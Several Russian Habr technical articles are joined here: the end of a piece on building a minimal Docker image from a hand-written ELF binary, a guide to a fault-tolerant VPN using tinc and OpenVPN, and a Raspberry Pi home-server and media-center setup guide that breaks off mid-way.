times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf64_Phdr
dd 1 ; p_type
dd 5 ; p_flags
dq 0 ; p_offset
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
mov eax, 29
int 0x80
filesize equ $ - $$
```
Результирующий образ — **127 байт**. На этом я прекратил попытки уменьшать размер, но принимаю предложения.
Крохотный Docker-образ
----------------------
Теперь, когда есть бинарник, реализующий бесконечное ожидание, остаётся положить его в Docker-образ.
Чтобы сэкономить каждый возможный байт, я создал бинарник с файловым именем из одного байта — `t` — и поместил его в `Dockerfile`, создавая практически пустой образ:
```
FROM scratch
ADD t /t
```
Обратите внимание, что в `Dockerfile` нет `CMD`, поскольку это увеличило бы размер образа. Для запуска понадобится передавать команду через аргументы к `docker run`.
Далее командой `docker save` был создан tar-файл, а затем — сжат с максимальной компрессией gzip. Получился портируемый файл Docker-образа размером менее 1000 байт:
```
$ docker build -t t .
$ docker save t | gzip -9 - | wc -c
976
```
Ещё я попытался уменьшить размер tar-файла, экспериментируя с manifest-файлом Docker, но тщетно: из-за специфики формата tar и алгоритма сжатия gzip такие изменения приводили только к росту финального gzip'а. Пробовал и другие алгоритмы компрессии, но gzip оказался лучшим для этого маленького файла.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Linux-дистрибутив from scratch для сборки Docker-образов — наш опыт с dappdeps](https://habr.com/company/flant/blog/352432/)»;
* « [Статистика по базовым операционным системам в образах на Docker Hub](https://habr.com/company/flant/blog/337448/)»;
* «[Собираем Docker-образы для CI/CD быстро и удобно вместе с dapp (обзор доклада и видео)](https://habr.com/company/flant/blog/324274/)»;
* «[Play with Docker — онлайн-сервис для практического знакомства с Docker](https://habr.com/company/flant/blog/334470/)»;
* «[Шпаргалка с командами Docker](https://habr.com/company/flant/blog/336654/)»;
* «[Обзор GUI-интерфейсов для управления Docker-контейнерами](https://habr.com/company/flant/blog/338332/)». | https://habr.com/ru/post/413959/ | null | ru | null |
# Наш рецепт отказоустойчивого VPN-сервера на базе tinc, OpenVPN, Linux

Один из наших клиентов попросил разработать отказоустойчивое решение для организации защищенного доступа к его корпоративному сервису. Решение должно было:
* обеспечивать отказоустойчивость и избыточность;
* легко масштабироваться;
* просто и быстро решать задачу добавления и блокировки пользователей VPN;
* балансировать нагрузку между входными нодами;
* одинаково хорошо работать для клиентов на GNU/Linux, Mac OS X и Windows;
* поддерживать клиентов, которые находятся за NAT.
Готовых решений, удовлетворяющих всем поставленным условиям, не нашлось. Поэтому мы собрали его на базе популярных Open Source-продуктов, а теперь с удовольствием делимся полученным результатом в этой статье.
Разработка концепции
--------------------
В качестве базовой VPN-технологии со стороны клиента мы выбрали OpenVPN: он прекрасно работает через NAT и поддерживает все требуемые платформы.
OpenVPN было решено развернуть в режиме TLS-сервера, а добавление и блокировку пользователей в нем сделать с помощью пакета [easy-rsa](https://github.com/OpenVPN/easy-rsa), который позволяет создавать ключ и сертификат, а затем отзывать их при необходимости.
Сложнее всего было решить вопрос масштабирования, избыточности и отказоустойчивости.
Итоговое решение вышло простым и изящным. Мы решили использовать N входных нод, адреса которых с помощью round-robin DNS выдаются клиентам. Все ноды и узлы сервиса клиентов включены в единое L2-пространство [tinc VPN](https://www.tinc-vpn.org/). Клиентские подключения (тоже L2) объединяются с tinc-интерфейсом в мост. Таким образом, получается, что, подключаясь по OpenVPN, клиент попадает на случайную ноду и оказывается в единой L2-сети со всеми остальными клиентами, нодами и сервисом клиента.

Для реализации этой схемы были выделены 3 VPS в различных дата-центрах, на которых и требовалось развернуть «точки входа» в сеть (`ep1`, `ep2` и `ep3`). Кроме того, в сети присутствовал гипервизор с сервисами клиента (`hpv1`). На всех машинах установили Ubuntu Server 16.04.
Строим tinc VPN
---------------
Для начала устанавливаем пакеты:
```
$ sudo apt-get update && sudo apt-get install tinс
```
На этом этапе нам нужно определиться с названием сети — пусть будет `l2vpnnet`. Создаем структуру каталогов:
```
$ sudo mkdir -p /etc/tinc/l2vpnnet/hosts
```
В каталоге `/etc/tinc/l2vpnnet` создаем файл `tinc.conf` и наполняем его следующим содержимым:
```
# Имя текущей машины
Name = ep1
# Тип сети, в нашем случае — L2
Mode = switch
# Интерфейс, который мы будем использовать
Interface = tap0
# По умолчанию используется протокол UDP
Port = 655
# Записываем имена всех остальных хостов, к которым мы будем подключаться
ConnectTo = ep2
ConnectTo = ep3
ConnectTo = hpv1
```
Создаем файл `/etc/tinc/l2vpnnet/ep1` и вносим в него параметры:
```
# Публичный адрес и порт
Address = 100.101.102.103 655
# Используемые алгоритмы шифрования и аутентификации
Cipher = aes-128-cbc
Digest = sha1
# Для уменьшения задержек рекомендуем также выключать сжатие
Compression = 0
```
Производим генерацию ключей. Традиционно мы используем ключи длиной 2 килобита: такая длина ключа обеспечивает хороший баланс между уровнем приватности и задержек (из-за накладных расходов на шифрование).
```
$ cd /etc/tinc/l2vpnnet && sudo tincd -n l2vpnnet -K2048
Generating 2048 bits keys:
............................................+++ p
.................................+++ q
Done.
Please enter a file to save private RSA key to [/etc/tinc/l2vpnnet/rsa_key.priv]:
Please enter a file to save public RSA key to [/etc/tinc/l2vpnnet/hosts/ep1]:
```
На остальных машинах проделываем аналогичные действия. Файлы с открытым ключом и параметрами подключения (`/etc/tinc/l2vpnnet/hosts/ep1|ep2|ep3|hpv1`) необходимо разместить у всех участников сети в каталоге `/etc/tinc/l2vpnnet/hosts`.
Название сети необходимо внести в файл `/etc/tinc/nets.boot`, чтобы tinc запускал VPN к нашей сети автоматически при загрузке:
```
$ sudo cat nets.boot
#This file contains all names of the networks to be started
#on system startup.
l2vpnnet
```
При настройке как tinc VPN, так и OpenVPN в нашей компании принято использовать стандартные механизмы управления сетью Ubuntu. Добавим в `/etc/network/interfaces` описание параметров устройства `tap0`:
```
# Устройство запускается автоматически при старте системы
auto tap0
# Указываем режим конфигурации manual, так как IP мы назначим уже на bridge
iface tap0 inet manual
# Создание устройства перед запуском tinc
pre-up ip tuntap add dev $IFACE mode tap
# ... и его удаление после остановки
post-down ip tuntap del dev $IFACE mode tap
# Собственно, запуск tinc с настроенной нами сетью
tinc-net l2vpnnet
```
Такая настройка позволит нам управлять tinc с помощью ifup/ifdown-скриптов.
Для единого L2-пространства нужно выбрать и L3-пространство. Для примера мы будем использовать сеть `10.10.10.0/24`. Настроим bridge-интерфейс и назначим ему IP — для этого внесем в `/etc/network/interfaces` такую информацию:
```
auto br0
iface br0 inet static
# Естественно, IP должен быть разным для хостов
address 10.10.10.1
netmask 255.255.255.0
# Указываем, что в бридже наш интерфейс tinc vpn
bridge_ports tap0
# Отключаем протокол spanning tree для bridge-интерфейса
bridge_stp off
# Максимальное время ожидания готовности моста
bridge_maxwait 5
# Отключаем задержку при форвардинге
bridge_fd 0
```
После этого последовательно стартуем оба устройства на всех серверах и проверяем связанность любым средством диагностики (ping, mtr и т.п.):
```
$ sudo ifup tap0 && sudo ifup br0
$ ping -c3 10.10.10.2
PING 10.10.10.2 (10.10.10.2) 56(84) bytes of data.
64 bytes from 10.10.10.2: icmp_seq=1 ttl=64 time=3.99 ms
64 bytes from 10.10.10.2: icmp_seq=2 ttl=64 time=1.19 ms
64 bytes from 10.10.10.2: icmp_seq=3 ttl=64 time=1.07 ms
--- 10.10.10.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 1.075/2.087/3.994/1.349 ms
```
Отлично: L2-пространство для входных нод и целевого сервера построено. Теперь нужно добавить в него удаленных клиентов.
Настраиваем OpenVPN
-------------------
Для начала устанавливаем необходимые пакеты на всех серверах:
```
$ sudo apt-get update && sudo apt-get install openvpn easy-rsa
```
Настроим DNS-зону, добавим 3 A-записи с одинаковым именем VPN-сервиса:
```
vpn.compa.ny. IN A 100.101.102.103
vpn.compa.ny. IN A 50.51.52.53
vpn.compa.ny. IN A 1.1.1.1
```
DNS будет выступать первым механизмом балансировки нагрузки в нашей системе. Согласно документации, OpenVPN разрешает имя точки подключения и будет последовательно совершать попытки подключиться ко всем IP, в которые разрешается имя. DNS при этом будет отдавать список IP в случайном порядке.
Вторым механизмом распределения нагрузки будет служить ограничение максимального количества подключений на один сервер. Предположим, у нас порядка 50 пользователей. С учетом избыточности, мы поставим ограничение в 30 пользователей на сервер и распределим пулы IP-адресов следующим образом:
```
Node 1 10.10.10.100-10.10.10.129
Node 2 10.10.10.130-10.10.10.159
Node 2 10.10.10.160-10.10.10.189
```
Создадим окружение для CA:
```
$ cd /etc/openvpn
$ sudo -s
# make-cadir ca
# mkdir keys
# chmod 700 keys
# exit
```
Теперь отредактируем файл с переменными `vars`, установив следующие значения:
```
# Каталог с easy-rsa
export EASY_RSA="`pwd`"
# Путь к openssl, pkcs11-tool, grep
export OPENSSL="openssl"
export PKCS11TOOL="pkcs11-tool"
export GREP="grep"
# Конфиг openssl
export KEY_CONFIG=`$EASY_RSA/whichopensslcnf $EASY_RSA`
# Каталог с ключами
export KEY_DIR="$EASY_RSA/keys"
export PKCS11_MODULE_PATH="dummy"
export PKCS11_PIN="dummy"
# Размер ключа
export KEY_SIZE=2048
# CA-ключ будет жить 10 лет
export CA_EXPIRE=3650
# Описываем нашу организацию: страна, регион,
# город, наименование, e-mail и подразделение
export KEY_COUNTRY="RU"
export KEY_PROVINCE="Magadan region"
export KEY_CITY="Susuman"
export KEY_ORG="Company"
export KEY_EMAIL="info@compa.ny"
export KEY_OU="IT"
export KEY_NAME="UnbreakableVPN"
```
Сохраняем и начинаем генерацию ключей:
```
# . vars
# ./clean-all
# ./build-ca
Generating a 2048 bit RSA private key
..........................+++
.+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [RU]:
State or Province Name (full name) [Magadan region]:
Locality Name (eg, city) [Susuman]:
Organization Name (eg, company) [Company]:
Organizational Unit Name (eg, section) [IT]:
Common Name (eg, your name or your server's hostname) [Company CA]:
Name [UnbreakableVPN]:
Email Address [info@compa.ny]:
# ./build-dh
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
…
# ./build-key-server server
# openvpn --genkey --secret keys/ta.key
```
Создадим тестового пользователя и сразу отзовем его сертификат, чтобы создать список отзыва:
```
# ./build-key testuser
# ./revoke-full testuser
```
Скопируем все необходимые для настройки сервера ключи в каталог с ключевой информацией OpenVPN:
```
# cd keys
# mkdir /etc/openvpn/.keys
# cp ca.crt server.crt server.key dh2048.pem ta.key crl.pem /etc/openvpn/.keys
# exit
```
Подготовим конфигурацию OpenVPN-сервера, для чего создадим файл `/etc/openvpn/server.conf`:
```
# Устанавливаем подробность ведения журнала
verb 4
# Порт и протокол подключения
port 1194
proto tcp-server
# Режим и способ аутентификации
mode server
tls-server
# Определяем MTU
tun-mtu 1500
# Определяем имя и тип интерфейса, который будет обслуживать клиентов
dev ovpn-clients
dev-type tap
# Указываем, что TA-ключ используется в режиме сервера
key-direction 0
# Описываем ключевую информацию
cert /etc/openvpn/.keys/server.crt
key /etc/openvpn/.keys/server.key
dh /etc/openvpn/.keys/dh2048.pem
tls-auth /etc/openvpn/.keys/ta.key
crl-verify /etc/openvpn/.keys/crl.pem
# Определяем протоколы аутентификации и шифрования
auth sha1
cipher AES-128-CBC
# Опция, указывающая, что устройство будет создаваться единожды
# на все время работы сервера
persist-tun
# Указываем тип топологии и пул
topology subnet
server-bridge 10.10.10.1 255.255.255.0 10.10.10.100 10.10.10.129
# Указываем маршрут по умолчанию через туннель и определяем
# внутренние DNS
push "redirect-gateway autolocal"
push "dhcp-option DNS 10.10.10.200"
push "dhcp-option DNS 10.20.20.200"
# Проверяем доступность подключенного клиента раз в 10 секунд,
# таймаут подключения — 2 минуты
keepalive 10 120
# То самое ограничение в 30 клиентов
max-clients 30
# Локальные привилегии демона openvpn
user nobody
group nogroup
# Позволяет удаленному клиенту подключаться с любого IP и порта
float
# Путь к файлу журнала
log /var/log/openvpn-server.log
```
Для второго и третьего сервера будем использовать тот же набор ключевой информации — конфигурационные файлы будут отличаться только пулом выдаваемых IP-адресов.
По аналогии с tinc настроим управление OpenVPN через стандартные ifup/ifdown-скрипты, добавив описание устройства в `/etc/network/interfaces`:
```
auto ovpn-clients
iface ovpn-clients inet manual
pre-up ip tuntap add dev $IFACE mode tap
post-up systemctl start openvpn@server.service
pre-down systemctl stop openvpn@server.service
post-down ip tuntap del dev $IFACE mode tap
```
Включим интерфейс в мост вместе с tinc, изменив настройки интерфейса `br0`:
```
...
netmask 255.255.255.0
bridge_ports tap0
bridge_ports ovpn_clients
bridge_stp off
...
```
Приведем все в рабочее состояние:
```
$ sudo ifup ovpn-clients && sudo ifdown br0 && sudo ifup br0
```
Серверная конфигурация готова. Теперь создадим клиентские ключи и ovpn-файл:
```
$ sudo -s
# cd /etc/openvpn/ca
# ./build-key PetrovIvan
# exit
```
Для упрощения использования мы создадим клиентский ovpn-файл c ключевой информацией INLINE:
```
$ vim PetrovInan.ovpn
# Указываем тип подключения, тип устройства и протокол
client
dev tap
proto tcp
# Определяем MTU такой же, как и на сервере
tun-mtu 1500
# Указываем узел и порт подключения
remote vpn.compa.ny 1194
# Отказываемся от постоянного прослушивания порта
nobind
# Опция, которая позволяет не перечитывать ключи для каждого соединения
persist-key
persist-tun
# Корректируем MSS
mssfix
# Указываем, что будем использовать TA как TLS-клиент
key-direction 1
ns-cert-type server
remote-cert-tls server
auth sha1
cipher AES-128-CBC
verb 4
keepalive 10 40
### Сюда вставляем содержимое ca.crt
### Сюда вставляем содержимое ta.key
### Сюда вставляем содержимое PetrovIvan.crt
### Сюда вставляем содержимое PetrovIvan.key
```
Сохраняем и отдаем клиенту, который просто подключается к VPN, используя ovpn-файл. На этом настройка OpenVPN закончена.
Блокировка клиента
------------------
В случае, когда нам необходимо запретить подключение к VPN одному из клиентов (например, при увольнении сотрудника), мы просто отзываем сертификат:
```
$ ./revoke-all PetrovIvan
```
После отзыва обновляем на всех серверах `crl.pem` и выполняем:
```
$ sudo service openvpn reload
```
Обратите внимание, что в `server.conf` отсутствует опция `persist-key`. Это позволяет обновить ключевую информацию во время выполнения `reload` — иначе бы для этого потребовался рестарт демона.
Для распространения списка отзыва и выполнения действия `reload` для OpenVPN мы используем Chef. Очевидно, для этой цели подойдут любые другие средства автоматического развертывания конфигураций (Ansible, Puppet…) или даже простой shell-скрипт.
Кроме того, мы поместили каталог с CA в Git, что позволило и нам, и клиенту совместно работать с ключевой информацией, избегая коллизий.
Заключение
----------
Конечно, описанное решение в ходе эксплуатации развивается. В частности, мы дописали простые скрипты, которые автоматически создают клиентские ovpn-файлы во время генерации ключей, а также работаем над системой мониторинга VPN.
Если у вас есть мысли о слабых местах в этом решении или идеи/вопросы по дальнейшему развитию конфигурации — буду рад увидеть их комментариях!
P.S.
----
Читайте также в нашем блоге:
* «[Наш рецепт отказоустойчивого Linux-роутера](https://habrahabr.ru/company/flant/blog/331128/)»;
* «[Настройка основного и двух резервных операторов на Linux-роутере с NetGWM](https://habrahabr.ru/company/flant/blog/335030/)». | https://habr.com/ru/post/338628/ | null | ru | null |
# Выжать все соки или используем Raspberry pi на всю катушку
Всем привет!
Долой унылые речи о том, что это мой первый пост и все такое. Пожалуй лучше я расскажу о том, как выжать все соки из маленькой малютки под названием Raspberry PI (далее RPI), ценой $ 35. Я уверен на 146,6% что здесь уже были посты подобного рода, и этот пост не претендует на твердую пять. Скорее это просто вступительное слово о том: «Как я занял себя делом на пару унылых вечеров». Собственно мы получим в итоге Raspberry PI который можно использовать:
1. как домашний web-сервер (если ты какой-нибудь PHP-разработчик, и тебе не чуждо веселье);
2. как мультимедийную приставку с популярным XBMC Media Center (или супер-пупер-крутую-шняжку к телевизору за скромные 1800$);
3. и как ночную торрент качалку, с web-интерфейсом (для ленивых);
Для тех кому стало интересно прошу под кат (Внимание! Трафик).
#### Подготовка
Итак, что для всего этого понадобится:
1. Raspberry PI model B
2. SD карта на 8GB, скорость должна быть высокой. (Подойдут 6 и 10 класс)
3. USB Flash карта, для того, что бы не забивать и без того малую память SD карты фильмами которые ты захочешь посмотреть
4. HDMI или SCART-RCA кабель
5. Блок питания, подойдет любой мини-USB зарядник с выходом 5 В и током до 2А, с MicroUSB выходом или MicroUSB переходник для подключения к компьютеру
6. Немного свободного времени
7. Прямые руки (во всяком случае мне они точно понадобились)
**Фото моей модели**

Так же нам понадобятся некоторые программы, PUTTY, WinSCP, XMing. Итак, нам необходимо что бы все что мы задумали работало без выключения/перезагрузки RPI, следовательно сборки типа OpenELEC, RaspBMC, XBian можно исключить. Нам нужно что бы XBMC был «внутри» нашей ОС, как плеер, так что мы сделаем что-то подобное. Мы будем использовать Raspbian. Скачать можно с [оф. сайта](http://www.raspberrypi.org/downloads)
Дальше все просто. Разархивируем скачанное, подключаем SD карту к компьютеру, далее нам понадобится программа [Win32DiskImager](https://mega.co.nz/#!l5xnhAgR!E74bonm7g4qkxo0vZpGXJnAeYFpPuW288C7BL2X6WSo). Устанавливаем, запускаем. Указываем путь к .img файлу с ОС на борту, далее в поле «Device» выбираем из списка носителей нашу SD карту и нажимаем «Write». После в появившемся диалоговом окне выбираем «Yes» и готовимся к первому запуску RPI.
Для работы RPI нам нужен телевизор с HDMI выходом, но на крайний случай можно обойтись и обычным. Для этого нам понадобится вместо HDMI кабеля SCART-RCA кабель и обычные USB колонки со своим питанием! Думаю понятно что и куда нужно втыкать. Если все прошло как-по-маслу, мы увидим окно с настройками нашей ОС.
**Пункты меню с подробным описанием и фото**
— **Expand filesystem** — Расширить основной раздел на всю SD карту.
— **Change User Password** — Установка пароля для пользователя «pi» (по умолчанию пароль «raspberry»). Пароль нужно ввести два раза!
— **Enable Boot to Desktop** — Загружать/не загружать графический интерфейс при запуске. Отключаем, т.к. нам он не нужен, а включить можно командой `startx`. После выбора есть еще 2 пункта: первая строка — загружать, вторая строка — не загружать (есть ещё третья строка, но в данной статье она нам не интересна).
— **Internationalisation Options** — Выбор месторасположения и языка, есть 3 пункта:
* **Change Locale** — Выбор языка, выбираем «ru\_RU.UTF-8 UTF-8».
* **Change Timezone** — Выбор часового пояса, выбираем свой.
* **Change Keyboard Layout** — Настройки клавиатуры. Оставляем все как есть.
— **Enable Camera** — Включить поддержку камеры. Нам это не нужно, не сегодня точно.
— **Add to Rastrack** — Регистрация устройства в общей базе. Пропускаем.
— **Overclock** — Разгон процессора. По умолчанию установлена частота 700МГц, можно повысить до 1000МГц. Raspberry Pi теперь можно официально разогнать до 1 ГГц и не потерять гарантию ([клик!](http://habrahabr.ru/post/151839/)). Ставим 1000МГц, это даст нам производительности при работе с XBMC.
— **Advanced Options** — Дополнительные настройки. Есть след. пункты:
* **Overscan** — Если у вас по краю изображения имеется широкая чёрная полоса, то необходимо выключить этот режим.
* **Hostname** — Сетевое имя RPI. Оставляем по-умолчанию.
* **Memoy Split** — Выделение видеопамяти для работы графического процессора. Ставим 128.
* **SSH** — Доступ по SSH. Включаем, т.к. далее все будем настраивать по SSH. У меня появились некоторые ошибки.
***Initial ssh key generation still running. Please wait and try again.***
Лечится простыми действиями после перезагрузки:
`sudo rm /var/log/regen_ssh_keys.log`
`sudo rm /etc/ssh/ssh_host*`
`sudo ssh-keygen -A`
* **Update** — Обновление ОС. Для этого необходим доступ в интернет.
* **About raspi-config** — Пропускаем, не интересно.
Теперь нажимаем TAB, выбираем FINISH.
После перезагрузки вводим логин pi и пароль который вы сделали (по умолчанию raspberry). Рекомендую сразу поменять рутовый пароль:
```
sudo passwd root
```
#### Настройка доступа по SSH к файловой системе RPI (из Windows)
Первым делом скачиваем [WinSCP](http://winscp.net/eng/download.php). Устанавливаем, настраиваем.
В поле host name вводим ip адрес RPI, у меня 192.168.1.100 (узнать можно с помощью Advanced IP Scaner, либо через роутер, думаю не стоит подробно объяснять как это сделать). В поле user name и password указываем данные для авторизации. Лучше всего пользоваться root'ом, далее Save. Далее все просто, указываем название, жмем чекбокс и OK. Все, теперь мы готовы приступить к следующему шагу.
#### Xming: X-Server для Windows
Собственно след. шагом будет установка [X-Ming](http://sourceforge.net/projects/xming/). Он нам нужен скорее для мониторинга, ну и это облегчит нам жизнь в будущем, так как мы поставим Conky для мониторинга и MySqlWorkbench для администрирования БД(но это скорее просто прихоть) на RPI. Тем кому это не нужно, могут смело идти к следующему шагу.
Скачиваем, устанавливаем. Параметры установки:
галка **Non US keyboard Support**
галка **XLaunnch wizard**
галка **Run Unility**
**Normal PuTTY Link SSH client**
В свойствах ярлыка XMing прописываем `путь_до_программы\Xming.exe :10 -clipboard -multiwindow`
После этого врубаем и можно смело подключаться к RPI посредством SSH, главное напомнить вашему SSH клиенту использовать X-11 Forwarding.
В PuTTY заходим в Connections -> SSH -> X11 -> **Включаем X11 Forwarding**
X display location — **localhost:10.0**
Remote X11 authentification protocol — **XDM-Authorization-1**
Затем сами настройки сессии (Sessions)
HostName (or IP address) — **192.168.1.100** (ваш ip RPI) port **22**
Connection type — **SSH** -> Жмем Save и подключаемся. Запускаем терминал и…
```
pi@raspberrypi ~ $ lxterminal&
[1] 2997
pi@raspberrypi ~ $
```
**Вуаля**
#### Установка XBMC на Raspberry Pi под Raspbian
Все приготовления закончены и я думаю мы подошли к главному. Лирическое отступление. До того как я решил сделать так как мы сделаем, я ставил себе и OpenELEC и RaspBMC. Мне это не подошло, потому что приходилось перезагружать RPI что бы запустить или Raspbian или XBMC (В случае с OpenELEC), а с RaspBMC я не смог даже близко сделать что то подобное. Хотя может и найдутся умельцы которые скажут что я дурак, и все такое. Идем дальше. Описание сего процесса не моё, нашлись умельцы которые изобрели [колесо](http://michael.gorven.za.net/raspberrypi/xbmc) за нас, я просто применил на практике. По порядку:
```
cd /etc/apt/sources.list.d/
```
```
deb http://archive.mene.za.net/raspbian wheezy contrib
CTRL + X -> Y -> Enter
```
```
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-key 5243CDED
```
```
sudo apt-get update
```
```
sudo apt-get install xbmc
```
Добавляем пользователя из под которого планируется запускать XBMC в следующие группы (**audio video input dialout plugdev tty**) командой:
```
sudo usermod -a -G имя_группы пользователь
```
Затем, меняем настройки группы input командой:
```
sudo nano /etc/udev/rules.d/99-input.rules
```
В файле должно быть:
```
SUBSYSTEM=="input", GROUP="input", MODE="0660"
KERNEL=="tty[0-9]*", GROUP="tty", MODE="0660"
```
Запускать XBMC командой:
```
xbmc-standalone
```
Дождаться загрузки и profit!
**Клик!**
Это уже настроенный XBMC с уже установленными плагинами, список я приведу ниже.
Если необходимо сделать Автостарт XBMC то нужно редактировать **/etc/default/xbmc** и изменить ENABLED to 1:
```
ENABLED=1
```
Плагины которые стоят у меня:
— repository.superrepo.org.frodo.al — Огромное количество всяких дополнений к XBMC
— repository.seppius — Русский репозиторий, с дополнениями «наших» сайтов на подобии LostFilm и Seasonvar и не только. Можно найти на любой вкус
— repository.oneevil — Сервис аддон ACEStream для XBMC и Аддон Torrenter в этом репозитории
— repository.nuismons — TSengine api
— plugin.watch.is.latest — Плагин для сайта watch.is (Сайт по приглашениям!!)
— plugin.video.torrenter.1.1.5.5 — Плагин для потокового воспроизведения торрент фильмов, скажем так.
Так же нужно установить libTorrent, для того что бы стримить фильмы с LostFilm:
```
sudo apt-get install python-libtorrent
```
Все эти плагины можно спокойно найти в интернете, вдаваться в подробности настройки и установки я не буду.
Что бы заработали скреперы — необходимо в настройках TheMovieDB использовать не TMDB а IMDB. Не понял почему так, но после смены у меня заработали скреперы на поиске некоторых русских фильмов, однако некоторые все еще найти не может.
**Клик!**


#### Установка Conky
Он нам нужен для мониторинга за температурой, загрузкой CPU и тд. По порядку:
```
sudo apt-get install conky
```
Затем создаем файл .conkyrc командой:
```
sudo nano .conkyrc
```
и вставляем туда:
```
alignment top_left
background no
border_width 1
cpu_avg_samples 2
default_color white
default_outline_color white
default_shade_color white
double_buffer yes
draw_borders no
draw_graph_borders yes
draw_outline no
draw_shades no
use_xft yes
xftfont DejaVu Sans Mono:size=12
gap_x 5
gap_y 60
minimum_size 5 5
net_avg_samples 2
no_buffers yes
out_to_console no
out_to_stderr no
extra_newline no
own_window yes
own_window_class Conky
own_window_type desktop
stippled_borders 0
update_interval 1.0
uppercase no
use_spacer none
show_graph_scale no
show_graph_range no
TEXT
${color grey}Uptime:$color $uptime
${color grey}Frequency (in MHz):$color $freq
${color grey}Frequency (in GHz):$color $freq_g
${color grey}RAM Usage:$color $mem/$memmax - $memperc% ${membar 4}
${color grey}Swap Usage:$color $swap/$swapmax - $swapperc% ${swapbar 4}
${color grey}CPU Usage:$color $cpu% ${cpubar 4}
${color red}Temp: $color ${alignr 4}${color red}${acpitemp}°С$color
${color grey}Processes:$color $processes ${color grey}Running:$color $running_processes
$hr
${color grey}File systems:
/ $color${fs_used /}/${fs_size /} ${fs_bar 6 /}
${color grey}Networking:
Up:$color ${upspeed eth0} ${color grey} - Down:$color ${downspeed eth0}
$hr
${color grey}Name PID CPU% MEM%
${color lightgrey} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
${color lightgrey} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
${color lightgrey} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
${color lightgrey} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}
```
Запускать командой:
```
conky
```
Все настройки можно найти в [интернете](http://help.ubuntu.ru/wiki/conky) и настроить «на свой вкус».
**Клик!**
#### Установка и настройка WebServer-а Apache2.2, php5, mysql, phpmyadmin, mysql-workbench
Просьба за данный пункт сильно не бить. Это не инструкция "*как это должно быть*", это инструкция "*как это работает у меня*", конструктивная критика по делу приветствуется, если будут какие-либо дополнения или замечания, приму во внимание, и адаптирую себе для работы.
Перед установкой рекомендую в настройках роутера(на пример, мой ADSL модем 192.168.1.1 — пробросить порты Virtual Rout(Port Forwarding), пробрасываем 80 порт на 80 порт 192.168.1.100(.100 это у меня Raspberry PI))
Итак, поехали. GIT:
```
sudo apt-get install git
```
Апач:
```
sudo apt-get install apache2 apache2-doc libapache2-mod-scgi
```
Теперь php5 с плюшками:
```
sudo apt-get install php5 libapache2-mod-php5 libapache2-mod-auth-mysql php5 php5-common php5-curl php5-mysql php-image-graph imagemagick
```
Ребутим апач:
```
sudo service apache2 restart
```
Проверяем. Заходим в браузере на IP\_малинки (в моем примере 192.168.1.100). Если появилась надпись «It works!», то я вас поздравляю, если нет — просьба попробовать включить-выключить сначала. Для тех кто не пробрасывал порты, можно проверить прямо с RPI. Для этого цепляется через SSH и запускаем браузер:
```
midori&
```
Затем вводим `localhost/` или `localhost/apache2-default`. Если появилась надпись «It works!», то я вас поздравляю, если нет — просьба попробовать включить-выключить сначала.
`/var/www/` — папочка с вашими сайтами и скриптами.
`/etc/php5/ и /etc/apache2/` — тут лежат конфиги php5 и апача.
Далее проверим работоспособность php5, создадим файл test.php:
```
sudo nano /var/www/phpinfo.php
```
В него внесем изменения:
```
php
phpinfo();
?
```
CTRL + X -> Y -> Enter, заходим по ссылке `IP_адрес_малины/test.php` (если через RPI то `localhost/test.php`). Если появилось информация о PHP5 то все хорошо. Далее ставим PHPMyAdmin:
```
sudo apt-get install phpmyadmin
```
Что бы получить доступ к phphmyadmin, необходимо в файл /etc/apache2/apache2.conf
```
sudo nano /etc/apache2/apache2.conf
```
вписать следующее (необходимо только до версии Squeeze, начиная с версии 6,0 это будет включено в сценарий установки пакета `/etc/apache2/conf.d/phpmyadmin.conf` -> `../../phpmyadmin/apache.conf` автоматически):
```
Include /etc/phpmyadmin/apache.conf
```
Перезапускаем апач:
```
sudo /etc/init.d/apache2 restart
```
Проверяем, заходим в браузере `192.168.1.100/phpmyadmin` (c RPI `localhost/phpmyadmin`).
Думаю с установкой веб-сервера закончено. Про настройку DNS в bind9 и VIrtual Hosts в апаче будет в другой статье. Скажу еще то, что для себя я поставил так же RhodeCode на RPI и хотел поставить какой нибудь Issue трекер. Выбор пал на YouTrack от JetBrain, но JavaМашина сильно грузит Raspberry, поэтому не стал заморачиваться. Так как я пользуюсь phpstorm — вот небольшое отступление о том **Как подружить phpstorm с нашей БД на RPI**:
Врубаем PHPStorm заходим в DataBase (кнопка слева) -> new -> DataBase Source
**Клик!**
**Database URL** — адрес и порт удаленной машины, а так же имя БД
**User** — имя пользователя БД
**Password** — пароль пользователя БД
**Клик!**
**SSH tunnel will be opened on localhost and port** — порт обязательно должен быть свободным на машине, с которой нужно подключить phpstorm к mysql на удаленной машине.
#### Монтируем нашу USB флешку
Втыкаем флешку в RPI, вводим команду:
```
sudo blkid
```
Результат:
```
/dev/mmcblk0p1: SEC_TYPE="msdos" LABEL="boot" UUID="993B-8922" TYPE="vfat"
/dev/mmcblk0p2: UUID="fc254b57-8fff-4f96-9609-ea202d871acf" TYPE="ext4"
/dev/sda: LABEL="TR16GB" UUID="D29807B898079A5D" TYPE="ntfs"
```
Смотрим, запоминаем, TR16GB, тип «ntfs», устанавливаем поддержку ntfs:
```
sudo apt-get install ntfs-3g
```
Создаем каталог, куда будем монтировать нашу флешку:
```
sudo mkdir /mount/flash
```
Открываем файл:
```
sudo nano /etc/fstab
```
Дописываем туда:
```
